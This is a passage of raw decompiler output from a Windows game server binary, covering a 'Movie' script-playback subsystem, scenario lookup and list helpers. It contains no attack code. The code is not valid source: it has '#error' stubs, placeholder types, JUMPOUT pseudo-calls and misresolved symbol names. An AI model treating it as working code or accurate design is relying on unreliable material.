*Movie__LuaFilm___vftable_)(int iti, char nEndureGrade); //----- (004EDBF0) -------------------------------------------------------- void __thiscall Movie::PSFilm::fb_ScriptInterrupt(Movie::PSFilm *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::PSFilm *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::PSFilm::fb_ScriptInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::PSFilm::fb_ScriptInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; checkfunc(&v3->baseclass_0.fb_Theater.t_InterruptManager, arg); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::PSFilm::fb_ScriptInterrupt"); } //----- (004EDC90) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::_CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_(this->cc_LuaFilm, 0x12DF4u, 8, (void (__thiscall *)(void *))Movie::LuaFilm::_LuaFilm); _eh_vector_destructor_iterator_(v1->cc_PSFilm, 0x12DF4u, 8, (void (__thiscall *)(void *))Movie::LuaFilm::_LuaFilm); _eh_vector_destructor_iterator_(v1->cc_FilmCase, 0x108u, 8, (void (__thiscall *)(void *))Movie::FilmCase::_FilmCase); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 657F70: using guessed type int (__stdcall *List_Movie__FilmCase____vftable_[3])(__int16 hnd); //----- (004EDD30) -------------------------------------------------------- int __thiscall Movie::TimeLimit::tl_GetTimeLimit_Second(Movie::TimeLimit *this) { Movie::TimeLimit *v1; // esi@1 unsigned int v2; // kr00_4@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_GetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->tl_EndTick - clockwatch.cw_CurrTick; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_GetTimeLimit"); return v2 / 0xA; } //----- (004EDDA0) -------------------------------------------------------- void __thiscall Movie::TimeLimit::tl_SetTimeLimit(Movie::TimeLimit *this, char *timeunit, int arg) { Movie::TimeLimit *v3; // esi@1 int v4; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::TimeLimit::tl_SetTimeLimit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3->tl_IsActiv = 1; switch ( *timeunit ) { case 72: case 104: v4 = 3600 * arg; break; case 77: case 109: v4 = 60 * arg; break; default: v4 = arg; break; } v3->tl_EndTick = clockwatch.cw_CurrTick + 10 * v4; v3->tl_RestMinuteSend = (unsigned int)&wholesaver.ws_savestore[1079].esc_abstate.buffer[5031]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::TimeLimit::tl_SetTimeLimit"); } //----- (004EDE80) -------------------------------------------------------- #error "4EDE80: undefined or illegal type '#593' (funcsize=77)" //----- (004EDFB0) -------------------------------------------------------- #error "4EDFB0: undefined or illegal type '#1265' (funcsize=20)" //----- (004EE020) -------------------------------------------------------- #error "4EE020: undefined or illegal type '#1265' (funcsize=100)" //----- (004EE190) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, Movie::FilmCase *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x108u); return 1; } // 4EE1A6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004EE1D0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004EE220) -------------------------------------------------------- void __thiscall Movie::FilmBase::fb_SetArgument(Movie::FilmBase *this, #1265 *a2, #593 *a3) { Movie::FilmBase *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::PSFilm::fb_SetArgument"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::PSFilm::fb_SetArgument"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; Movie::Theater::t_SetArgument(&v3->fb_Theater, a2, a3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::PSFilm::fb_SetArgument"); } //----- (004EE2C0) -------------------------------------------------------- char __thiscall Movie::FilmBase::fb_Routine(Movie::FilmBase *this, unsigned __int16 handle) { Movie::FilmBase *v2; // esi@1 char v3; // al@1 char v4; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::FilmBase::fb_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::FilmBase::fb_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = Movie::Theater::t_Routine(&v2->fb_Theater, handle); --funcallanalizer.fca_stackpoint; v4 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::FilmBase::fb_Routine"); return v4; } //----- (004EE370) -------------------------------------------------------- Movie::CinemaComplex *__thiscall Movie::CinemaComplex::cc_SetArgument(Movie::CinemaComplex *this, #1265 *a2, #593 *a3) { Movie::FilmBase *v3; // esi@1 signed int v4; // ebp@1 Movie::CinemaComplex *v6; // [sp+10h] [bp-4h]@1 v6 = this; v3 = (Movie::FilmBase *)this->cc_LuaFilm; v4 = 8; do { Movie::FilmBase::fb_SetArgument(v3 - 8, a2, a3); Movie::FilmBase::fb_SetArgument(v3, a2, a3); ++v3; --v4; } while ( v4 ); return v6; } //----- (004EE3C0) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::cc_ScriptInterrupt(Movie::CinemaComplex *this, void (__thiscall *checkfunc)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *arg) { Movie::CinemaComplex *v3; // edi@1 unsigned __int16 v4; // si@1 unsigned __int16 v5; // bx@2 ListStruct *v6; // ecx@3 int v7; // eax@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_ScriptInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v5 = v3->baseclass_0.l_MaxSize; if ( v4 >= v5 ) break; v6 = v3->baseclass_0.l_Array; v7 = v4; v8 = v4 < v5; v4 = v6[v4].ls_Next; if ( v8 && (v9 = 3 * v7, v10 = v6[v7].ls_IsActiv, v11 = (int)&v6[4 * v9 / 0xCu], v10) ) (*(void (__stdcall **)(void (__thiscall *)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *))**(void (__stdcall ****)(_DWORD, _DWORD))(*(_DWORD *)v11 + 260))( checkfunc, arg); else (*(void (__stdcall **)(void (__thiscall *)(ScriptInterrupt::ScriptInterruptManager *, ScriptInterrupt::InterruptHappenArgument *), ScriptInterrupt::InterruptHappenArgument *))*v104)( checkfunc, arg); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_ScriptInterrupt"); } //----- (004EE4C0) -------------------------------------------------------- Movie::FilmCase *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(Movie::FilmCase *, List *, unsigned __int16, Movie::FilmCase *), unsigned __int16 *hnd, Movie::FilmCase *key) { Movie::FilmCase *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(Movie::FilmCase *, List *, unsigned __int16, Movie::FilmCase *); // [sp+8h] [bp-1Ch]@1 Movie::FilmCase *v8; // [sp+Ch] [bp-18h]@1 Movie::FilmCase *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 64197C: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (004EE530) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004EE650) -------------------------------------------------------- char __thiscall Movie::FilmCase::fc_Routine(Movie::FilmCase *this, List *lst, unsigned __int16 handle) { Movie::FilmCase *v3; // esi@1 Movie::FilmBase *v4; // ecx@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::FilmCase::fc_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::FilmCase::fc_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->fc_Film; if ( v4 && !Movie::FilmBase::fb_Routine(v4, handle) ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::FilmCase::fc_Routine"); return 1; } //----- (004EE710) -------------------------------------------------------- void __thiscall Movie::PSFilm::fb_SetInterruptClear(Movie::PSFilm *this) { Movie::PSFilm *v1; // esi@1 ListIteratorDefault arg; // [sp+8h] [bp-14h]@1 ScriptInterrupt::ScriptInterruptManager *v3; // [sp+Ch] [bp-10h]@1 int v4; // [sp+18h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::PSFilm::fb_SetInterruptClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::PSFilm::fb_SetInterruptClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v3 = &v1->baseclass_0.fb_Theater.t_InterruptManager; LOBYTE(v4) = 1; List::l_4AllInList((List *)&v1->baseclass_0.fb_Theater.t_InterruptManager, &arg); --funcallanalizer.fca_stackpoint; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::PSFilm::fb_SetInterruptClear"); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (004EE7D0) -------------------------------------------------------- char __thiscall Movie::CinemaComplex::cc_IsDuringPlay(Movie::CinemaComplex *this, char *scriptname) { List *v2; // esi@1 char result; // al@1 __int16 hnd; // [sp+Ch] [bp-120h]@1 FunctionEntarance _; // [sp+10h] [bp-11Ch]@1 Movie::FilmCase key; // [sp+14h] [bp-118h]@1 unsigned int v7; // [sp+11Ch] [bp-10h]@1 int v8; // [sp+128h] [bp-4h]@1 v2 = (List *)this; v7 = (unsigned int)&hnd ^ __security_cookie; _.fe_FunctionCode = "Movie::CinemaComplex::cc_IsDuringPlay"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_IsDuringPlay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; Movie::FilmCase::FilmCase(&key, scriptname); LOBYTE(v8) = 1; List::l_Search(v2, Movie::FilmCase::fc_NameCompare, (unsigned __int16 *)&hnd, &key); LOBYTE(v8) = 0; Movie::FilmCase::_FilmCase(&key); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_IsDuringPlay"); __security_check_cookie((unsigned int)&hnd ^ v7); return result; } //----- (004EE8D0) -------------------------------------------------------- #error "4EE8D0: undefined or illegal type '#593' (funcsize=20)" //----- (004EE900) -------------------------------------------------------- ScenarioBookShelf::ScenarioBook *__thiscall ScenarioBookShelf::sbs_GetScenarioBook(ScenarioBookShelf *this, char *fname, int *scriptid) { ScenarioBookShelf *v3; // esi@1 int v4; // eax@1 ScenarioBookShelf::ScenarioBook **v5; // edx@2 ScenarioBookShelf::ScenarioBook *v6; // esi@4 ScenarioBookShelf::ScenarioBook *result; // eax@4 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ScenarioBookShelf::sbs_GetScenarioBook"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScenarioBookShelf::sbs_GetScenarioBook"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = BTree::operator__(&v3->sbs_Tree, fname); if ( v4 != -1 && (v5 = v3->sbs_Array._Myfirst) != 0 && v4 < v3->sbs_Array._Mylast - v5 ) { *scriptid = v4; v6 = v3->sbs_Array._Myfirst[v4]; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_GetScenarioBook"); result = v6; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ScenarioBookShelf::sbs_GetScenarioBook"); result = 0; } return result; } //----- (004EEA00) -------------------------------------------------------- void __thiscall Movie::CinemaComplex::CinemaComplex(Movie::CinemaComplex *this) { Movie::CinemaComplex *v1; // esi@1 ListStruct *v2; // eax@2 ListStruct *v3; // eax@5 ListStruct *v4; // eax@8 ListStruct *v5; // eax@11 ListStruct *v6; // eax@14 ListStruct *v7; // eax@17 ListStruct *v8; // eax@20 ListStruct *v9; // eax@23 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 8u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->cc_FilmCase, 0x108u, 8, (void (__thiscall *)(void *))Movie::FilmCase::FilmCase, (void (__thiscall *)(void *))Movie::FilmCase::_FilmCase); _eh_vector_constructor_iterator_( v1->cc_PSFilm, 0x12DF4u, 8, (void (__thiscall *)(void *))Movie::PSFilm::PSFilm, (void (__thiscall *)(void *))Movie::LuaFilm::_LuaFilm); _eh_vector_constructor_iterator_( v1->cc_LuaFilm, 0x12DF4u, 8, (void (__thiscall *)(void *))Movie::LuaFilm::LuaFilm, (void (__thiscall *)(void *))Movie::LuaFilm::_LuaFilm); if ( v1->baseclass_0.l_MaxSize ) { v2 = v1->baseclass_0.l_Array; if ( !v2->ls_Content ) v2->ls_Content = v1->cc_FilmCase; } if ( v1->baseclass_0.l_MaxSize > 1u ) { v3 = v1->baseclass_0.l_Array; if ( !v3[1].ls_Content ) v3[1].ls_Content = &v1->cc_FilmCase[1]; } if ( v1->baseclass_0.l_MaxSize > 2u ) { v4 = v1->baseclass_0.l_Array; if ( !v4[2].ls_Content ) v4[2].ls_Content = &v1->cc_FilmCase[2]; } if ( v1->baseclass_0.l_MaxSize > 3u ) { v5 = v1->baseclass_0.l_Array; if ( !v5[3].ls_Content ) v5[3].ls_Content = &v1->cc_FilmCase[3]; } if ( v1->baseclass_0.l_MaxSize > 4u ) { v6 = v1->baseclass_0.l_Array; if ( !v6[4].ls_Content ) v6[4].ls_Content = &v1->cc_FilmCase[4]; } if ( v1->baseclass_0.l_MaxSize > 5u ) { v7 = v1->baseclass_0.l_Array; if ( !v7[5].ls_Content ) v7[5].ls_Content = &v1->cc_FilmCase[5]; } if ( v1->baseclass_0.l_MaxSize > 6u ) { v8 = v1->baseclass_0.l_Array; if ( !v8[6].ls_Content ) v8[6].ls_Content = &v1->cc_FilmCase[6]; } if ( v1->baseclass_0.l_MaxSize > 7u ) { v9 = v1->baseclass_0.l_Array; if ( !v9[7].ls_Content ) v9[7].ls_Content = &v1->cc_FilmCase[7]; } } // 657F70: using guessed type int (__stdcall *List_Movie__FilmCase____vftable_[3])(__int16 hnd); //----- (004EEB80) -------------------------------------------------------- #error "4EEB80: undefined or illegal type '#1265' (funcsize=84)" //----- (004EECD0) -------------------------------------------------------- int __thiscall Movie::Theater::t_PlayFilm(Movie::Theater *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex) { Movie::Theater *v4; // esi@1 PineScriptToken *v5; // eax@1 PineScriptToken *v6; // eax@1 char *v7; // eax@1 ScenarioBookShelf::ScenarioBook *v8; // edi@1 int v9; // eax@2 int v10; // eax@2 int result; // eax@6 DiceTaiSai *v12; // eax@8 PineEventScriptNode::Script *v13; // eax@10 void *v14; // eax@10 FunctionEntarance _; // [sp+10h] [bp-214h]@1 PineScriptToken name; // [sp+14h] [bp-210h]@1 PineScriptToken initvariable; // [sp+114h] [bp-110h]@10 unsigned int v18; // [sp+214h] [bp-10h]@1 int v19; // [sp+220h] [bp-4h]@1 v4 = this; v18 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "Movie::Theater::t_PlayFilm"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::Theater::t_PlayFilm"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; PineScriptToken::PineScriptToken(&name, scriptname); LOBYTE(v19) = 1; v4->t_SenarioType = 0; v4->t_LuaScript = 0; v5 = PineScriptToken::pst_Clear(&v4->t_ScriptName); v6 = PineScriptToken::pst_Merge(v5, &name); MoveManager::MoveManager((DiceTaiSai *)v6); v8 = ScenarioBookShelf::sbs_GetScenarioBook(&scenarioshelf, v7, &v4->t_ScriptID); if ( !v8 ) goto LABEL_5; v9 = v8->vfptr->sb_GetType(v8); v4->t_SenarioType = v9; v10 = v9 - 1; if ( !v10 ) { v12 = (DiceTaiSai *)v8->vfptr->sb_GetPSScript(v8); if ( v12 ) { MoveManager::MoveManager(v12); PineScriptStack::ProcessStack::ps_Ready(&v4->t_Screen, v13); v4->t_TimeLimit.tl_IsActiv = 0; PineScriptToken::PineScriptToken(&initvariable, "InitFlag"); LOBYTE(v19) = 2; v14 = PineScriptStack::ProcessStack::ps_PushVariable(&v4->t_Screen, &initvariable); if ( v14 ) memcpy(v14, initval, 0x100u); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initvariable); } else { AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_PlayFilm : Null PSScript", scriptname); } goto LABEL_13; } if ( v10 == 1 ) { v4->t_LuaScript = v8->vfptr->sb_GetLuaScript(v8); LABEL_13: LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); goto LABEL_6; } v4->t_SenarioType = 0; AssertClass::ac_AssertFail(&shineassert, "Invalid Script Type", scriptname); LABEL_5: LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&name); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::Theater::t_PlayFilm"); LABEL_6: __security_check_cookie((unsigned int)&_ ^ v18); return result; } //----- (004EEEF0) -------------------------------------------------------- int __thiscall Movie::FilmBase::fb_PlayFilm(Movie::FilmBase *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex) { Movie::FilmBase *v4; // esi@1 int v5; // eax@1 int v6; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::FilmBase::fb_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::FilmBase::fb_PlayFilm"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = Movie::Theater::t_PlayFilm(&v4->fb_Theater, scriptname, initval, fldindex); --funcallanalizer.fca_stackpoint; v6 = v5; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::FilmBase::fb_PlayFilm"); return v6; } //----- (004EEFA0) -------------------------------------------------------- void __thiscall ScenarioBookShelf::_ScenarioBookShelf(ScenarioBookShelf *this) { ScenarioBookShelf *v1; // esi@1 unsigned int i; // edi@1 ScenarioBookShelf::ScenarioBook **v3; // ecx@2 void *v4; // ecx@4 v1 = this; for ( i = 0; ; ++i ) { v3 = v1->sbs_Array._Myfirst; if ( !v3 ) break; if ( i >= v1->sbs_Array._Mylast - v3 ) break; v4 = v3[i]; if ( v4 ) { *(_DWORD *)v4 = &ScenarioBookShelf::ScenarioBook::_vftable_; operator delete(v4); } } BTree::_BTree(&v1->sbs_Tree); if ( v1->sbs_Array._Myfirst ) operator delete(v1->sbs_Array._Myfirst); v1->sbs_Array._Myfirst = 0; v1->sbs_Array._Mylast = 0; v1->sbs_Array._Myend = 0; } // 657EF4: using guessed type int (__stdcall *ScenarioBookShelf__ScenarioBook___vftable_)(__int16 nItemID); //----- (004EF030) -------------------------------------------------------- int __thiscall Movie::CinemaComplex::cc_PlayFilm(Movie::CinemaComplex *this, char *scriptname, PineScriptToken *initval, Name3 *fldindex) { Movie::CinemaComplex *v4; // ebp@1 int v5; // ebx@1 DebugLogging *v6; // eax@1 int v7; // eax@1 unsigned __int16 v8; // di@2 ScenarioBookShelf::ScenarioBook *v9; // eax@6 int v10; // eax@7 int v11; // eax@8 DebugLogging *v12; // eax@12 int v13; // esi@12 DebugLogging *v14; // eax@13 DebugLogging *v15; // eax@14 char *v17; // [sp-4h] [bp-12Ch]@5 int lst; // [sp+10h] [bp-118h]@0 int scriptid; // [sp+14h] [bp-114h]@6 FunctionEntarance _; // [sp+18h] [bp-110h]@1 PineScriptToken thisa; // [sp+1Ch] [bp-10Ch]@12 int v22; // [sp+124h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "Movie::CinemaComplex::cc_PlayFilm"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Movie::CinemaComplex::cc_PlayFilm"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; v22 = 0; v6 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 1"); DebugLogging::operator<<(v6, &deb_LF); LOWORD(v7) = v4->baseclass_0.l_Finger.empty; if ( (_WORD)v7 == -1 ) { v8 = lst; } else { v8 = v4->baseclass_0.l_Finger.empty; lst = v7; v5 = (int)v4->baseclass_0.vfptr->l_AllocA((List *)v4, v7); } if ( !v5 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::CinemaComplex::cc_PlayFilm : Too many film", 0); v17 = "Movie::CinemaComplex::cc_PlayFilm"; LABEL_17: --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v17); return -1; } v9 = ScenarioBookShelf::sbs_GetScenarioBook(&scenarioshelf, scriptname, &scriptid); if ( !v9 ) { LABEL_16: v17 = "Movie::CinemaComplex::cc_PlayFilm"; goto LABEL_17; } v10 = v9->vfptr->sb_GetType(v9); if ( !v10 ) { AssertClass::ac_AssertFail(&shineassert, "Movie::CinemaComplex::cc_PlayFilm : Wrong scenario type", scriptname); goto LABEL_16; } v11 = v10 - 1; if ( v11 ) { if ( v11 == 1 ) *(_DWORD *)(v5 + 260) = (char *)v4 + 77300 * v8 + 620536; } else { *(_DWORD *)(v5 + 260) = (char *)v4 + 77300 * v8 + 2136; } v12 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 2"); DebugLogging::operator<<(v12, &deb_LF); PineScriptToken::PineScriptToken(&thisa, scriptname); memcpy((void *)v5, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); *(_DWORD *)(v5 + 256) = scriptid; (*(void (**)(void))(**(_DWORD **)(v5 + 260) + 4))(); v13 = Movie::FilmBase::fb_PlayFilm(*(Movie::FilmBase **)(v5 + 260), scriptname, initval, fldindex); if ( v13 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "Script Error", scriptname); v14 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm Free"); DebugLogging::operator<<(v14, &deb_LF); v4->baseclass_0.vfptr->l_Free((List *)v4, lst); } v15 = DebugLogging::operator<<(&KQLogging, "Movie::CinemaComplex::cc_PlayFilm 3"); DebugLogging::operator<<(v15, &deb_LF); --funcallanalizer.fca_stackpoint; v22 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Movie::CinemaComplex::cc_PlayFilm"); return v13; } //----- (004EF2A0) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 689BF8: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004EF310) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, ScenarioBookShelf::ScenarioBook *const *_Val) { std::vector > *v4; // esi@1 ScenarioBookShelf::ScenarioBook **v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #593 **v16; // eax@25 ScenarioBookShelf::ScenarioBook **v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // 